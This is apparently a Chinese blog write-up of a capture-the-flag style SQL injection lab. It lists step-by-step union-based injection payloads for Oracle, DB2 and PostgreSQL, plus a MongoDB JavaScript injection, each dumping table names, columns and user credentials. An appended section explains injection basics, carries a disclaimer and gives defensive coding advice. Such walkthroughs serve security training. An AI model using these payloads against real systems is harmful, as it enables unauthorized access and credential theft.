墨者学院sql手工注入靶场

Oracle数据库

点击该页面后发现有参数

判断注入

说明存在注入

通过order by来判断列数

1 order by 2 //页面正常,说明存在2列

1 order by 3 //页面错误,说明存在2列

判断回显位置

oracle数据库的语法不支持union select 只支持union select from 且不支持联合查询数字。

1 union select null,null from dual //页面正常,说明语法正确

1 union select 'null','null1' from dual //通过给null加单引号变成字符串来判断回显位置

判断数据库名称

1 union select (select instance_name from V$INSTANCE),'null' from dual

判断表的名称

1 union select (select table_name from user_tables where rownum=1),'null' from dual//第一个表  LOGMNR_SESSION_EVOLVE$  

1 union select (select table_name from user_tables where rownum=1 and table_name != 'LOGMNR_SESSION_EVOLVE$'),'null' from dual//让结果不等于第一个表,那么就能得出来第二个表LOGMNR_GLOBAL$  以此类推

判断列的名称

1 union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users'),'null' from dual // 查询sns_users表的第一个字段名称  USER_NAME  

1 union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name != 'USER_NAME'),'null' from dual // 查询sns_users表的第二个字段名称   USER_PWD

查询字段的值

1 union select USER_NAME,USER_PWD%20 from "sns_users" where rownum=1 //得到sns_users表中的第一条数据 zhong 1c63129ae9asc60asdua94d3e00495

1 union select USER_NAME,USER_PWD%20 from "sns_users" where rownum=1 and USER_NAME != 'zhong'//得到sns_users表中的第二条数据 hu 1c63129ae9db9g20asdua94d3e00495  以此类推,最终得到mozhe的密码

DB2数据库

操作基本一致------1 order by 4//页面正常

1 order by 5//页面出错,说明存在四列

判断回显位置

-1 union select 1,2,3,4 from syscat.tables

发现回显位置为2,3

判断数据库名称

-1 union select 1,current schema,3,4 from syscat.tables

判断表名称

-1 union select 1,tabname,3,4 from syscat.tables where tabschema=current schema limit 0,1

-1 union select 1,tabname,3,4 from syscat.tables where tabschema=current schema limit 1,1

判断字段名称

大致语法与上面相同

-1 union select 1,colname,3,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 0,1 ---------将0换成1,2

得到id name password

查询字段值

-1 union select 1,PASSWORD,NAME,4 from GAME_CHARACTER limit 0,1 ---------将0换成1

得到name与id的具体值

PostgreSQL数据库

判断列数

order by 4   ---5

发现共四列

判断回显位置

union select null,null,null,null

查询表

-1 union select null,table_name,'null',null from information_schema.tables where table_schema='public' limit 1 offset 0

查询字段

-1 union select null,column_name,'null',null from information_schema.columns where table_schema='public' and table_name='reg_users' limit 1 offset 0 -------0换成1,2 分别得到id,name,password

查询值

-1 union select null,name,password,null from reg_users limit 1 offset 0 ------0换成1得到两组账户密码

MongoDB数据库

mangodb正常的查询语句为:db.notice.findOne({'id':'$id'});return data;

所以构造如下

1'});return ({'title':'1','content':'2//判断回显位置

1'});return ({'title':tojson(db),'content':'2 //查询数据库名称

1'});return ({'title':tojson(db.getCollectionNames()),'content':'2 //查询表名称

1'});return ({'title':tojson(db.Authority_confidential.find()[0]),'content':'2 //查询表的字段的值

### 关于SQL手工注入的学习 #### SQL手工注入简介 SQL注入是一种常见的Web应用程序攻击方式,通过向查询参数输入恶意的SQL语句片段,从而改变原有SQL命令的行为。这种技术能够绕过身份验证机制、读取敏感数据甚至控制服务器。 #### 靶场环境介绍 学院提供了一个专门用于练习SQL注入技巧的安全测试平台[^2]。此靶场基于Nginx+PHP+MySQL架构构建而成,并且访问成本低廉——仅需消耗一枚虚拟货币“币”,新用户注册时通常会被赠送足够的余额来进行多次尝试而不必担心额外开销。 #### 实践案例分析 对于想要深入了解如何实施SQL注入的人来说,在实际操作之前先观察目标网站是否存在潜在可利用之处非常重要。比如查看URL中的GET请求参数是否未经充分过滤就被直接拼接到后台执行的SQL指令里;又或者是POST表单提交的数据项有没有被妥善处理等情形都可能是突破口所在[^1]。 当确认存在风险点之后,则可以根据具体场景采取不同策略展开进一步探索: - **字符型字段**:如果发现某个文本框允许接收任意字符串作为输入值的话,那么就可以试着构造一些特殊模式串去试探内部逻辑反应情况。例如`' OR '1'='1`这样的表达式往往能帮助判断出是否有漏洞存在以及其大致位置范围[^3]。 - **联合查询(UNION SELECT)**:这是一种较为高级但也非常实用的方法之一。它可以让攻击者将自己的SELECT子句附加到原始查询后面并获取更多有用的信息。像下面这条语句就是用来枚举当前库内所有表格名称及其所属数据库名的一个例子: ```sql new_list.php?id=-1 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),DATABASE(),4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() ``` 请注意上述做法仅供合法授权下的渗透测试培训用途,请勿非法入侵任何网络设施! #### 安全建议 为了防止遭受此类威胁影响业务正常运转,开发者应当遵循最佳编码实践指南,如采用预编译语句代替动态组装SQL文法结构;严格校验前端传来的一切外部可控变量合法性;定期审查源码质量排除隐患等等措施加强防护力度。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值